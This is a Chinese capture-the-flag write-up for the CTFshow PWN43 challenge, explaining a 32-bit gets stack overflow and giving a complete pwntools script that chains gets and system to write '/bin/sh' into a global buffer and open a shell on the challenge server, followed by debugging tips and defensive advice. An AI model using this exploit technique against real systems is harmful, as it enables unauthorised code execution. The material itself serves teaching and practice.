news 2026/6/3 13:05:54

CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的

CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动‘造’一个的

在CTF的PWN类题目中,栈溢出漏洞的利用往往需要构造精巧的ROP链。但有时候,即使找到了关键的system函数,却缺少必要的参数——比如经典的/bin/sh字符串。本文将从一个解题者的第一视角,详细还原如何在没有现成参数的情况下,手动构造/bin/sh并成功获取shell的全过程。

1. 问题发现与初步分析

当我第一次拿到这道PWN43题目时,按照常规思路,我首先用IDA进行了静态分析。程序是一个32位的ELF文件,主要逻辑在ctfshow函数中:

char s[104]; gets(s); return s;

这里明显存在栈溢出漏洞——gets函数不检查输入长度,可以覆盖返回地址。更重要的是,我发现程序中有system函数的调用地址(0x8048450),但搜索整个二进制文件,却找不到任何/bin/shsh字符串。

关键问题:如何在没有现成参数的情况下,让system执行/bin/sh

2. 寻找可写内存区域

既然程序没有提供/bin/sh,那么我们需要手动写入这个字符串。但首先必须找到一个可写的内存地址。使用GDB的vmmap命令查看内存布局:

gdb-peda$ vmmap Start End Perm Name 0x804b000 0x804c000 rw-p [heap]

这里0x804b000到0x804c000这段内存具有读写权限(rw-p)。进一步分析,我发现这个区域有一个名为buf2的全局变量,地址是0x804B060——这正是我们需要的可写地址。

提示:在PWN题中,全局变量通常存储在可读写段,是写入自定义数据的理想位置。

3. 构造ROP链的关键思路

现在我们需要解决两个核心问题:

  1. 如何将/bin/sh写入buf2
  2. 如何让system使用这个字符串作为参数

解决方案是构造一个两阶段的ROP链:

  1. 首先调用gets函数,让它从标准输入读取/bin/sh并写入buf2
  2. 然后调用system,参数指向buf2

内存布局规划

栈位置内容
填充数据'a'*(0x6C+4)
返回地址gets函数地址
gets返回地址system函数地址
gets参数buf2地址(写入目标)
system参数buf2地址(命令参数)

4. 编写完整Exploit

基于以上分析,我们可以编写Python exploit脚本:

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 # 填充到返回地址的偏移量 system_addr = 0x8048450 buf2_addr = 0x804B060 gets_addr = 0x8048420 # 构造ROP链 payload = flat( b'A' * offset, gets_addr, # 覆盖返回地址为gets system_addr, # gets返回后跳转到system buf2_addr, # gets的参数:写入目标地址 buf2_addr # system的参数:命令字符串地址 ) p.sendline(payload) p.sendline(b'/bin/sh') # 这是gets读取的内容 p.interactive()

关键点解释

  1. 第一个sendline发送ROP链,触发gets函数
  2. 第二个sendline提供/bin/sh字符串,gets会将其写入buf2
  3. 当gets执行完毕,程序跳转到system,此时buf2已包含/bin/sh

5. 调试技巧与注意事项

在实际操作中,有几个容易出错的地方值得注意:

  1. 偏移量计算

    • 使用cyclic pattern确定精确偏移
    • 本例中0x6C是到ebp的距离,再加4覆盖返回地址
  2. 参数排列

    • 32位程序参数通过栈传递
    • 每个函数调用后,其参数仍留在栈上
  3. 内存权限验证

    • 务必确认写入地址可写
    • 使用checksec确认NX等保护机制

注意:如果gets执行后程序崩溃,可能是栈不平衡导致的。可以尝试在gets和system之间插入一个简单的ret指令地址来调整栈指针。

6. 替代方案探讨

除了使用gets+system的组合,还有其他几种可能的解决方案:

  1. 使用read+system

    • 如果程序有read函数,可以用它代替gets
    • 需要正确设置文件描述符、长度等参数
  2. 一次性写入

    • 如果溢出空间足够,可以直接在payload中包含/bin/sh
    • 需要找到一个固定的栈地址引用
  3. 环境变量利用

    • 通过溢出修改环境变量
    • 复杂度较高,不如直接写入内存可靠

7. 防御措施与题目设计

从防御角度,这道题教会我们几个重要安全原则:

  1. 永远不要使用gets

    • 用fgets等安全函数替代
    • 或者严格限制输入长度
  2. 最小权限原则

    • 不必要的内存区域不应有写权限
    • 可考虑将全局变量放在只读段
  3. 地址随机化

    • 启用ASLR会增加利用难度
    • 但32位系统的ASLR熵值较低

在实际开发中,类似的漏洞可能导致任意代码执行,危害极大。这道CTF题目很好地模拟了现实中的漏洞利用场景。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 13:04:35

AutoDock Vina分子对接:快速、精准的药物发现开源工具

AutoDock Vina分子对接:快速、精准的药物发现开源工具 【免费下载链接】AutoDock-Vina AutoDock Vina 项目地址: https://gitcode.com/gh_mirrors/au/AutoDock-Vina 你是否正在寻找一款能够加速药物研发的分子对接工具?AutoDock Vina正是你需要的…

作者头像 李华
网站建设 2026/6/3 13:04:31

B站缓存视频转换终极指南:5分钟掌握m4s转MP4完整方案

B站缓存视频转换终极指南:5分钟掌握m4s转MP4完整方案 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经遇到过这样的困扰&am…

作者头像 李华
网站建设 2026/6/3 13:00:56

5分钟掌握Bebas Neue字体:免费开源标题字体的完整安装与应用指南

5分钟掌握Bebas Neue字体:免费开源标题字体的完整安装与应用指南 【免费下载链接】Bebas-Neue Bebas Neue font 项目地址: https://gitcode.com/gh_mirrors/be/Bebas-Neue Bebas Neue字体是一款全球设计师和开发者喜爱的免费开源标题字体,采用简洁…

作者头像 李华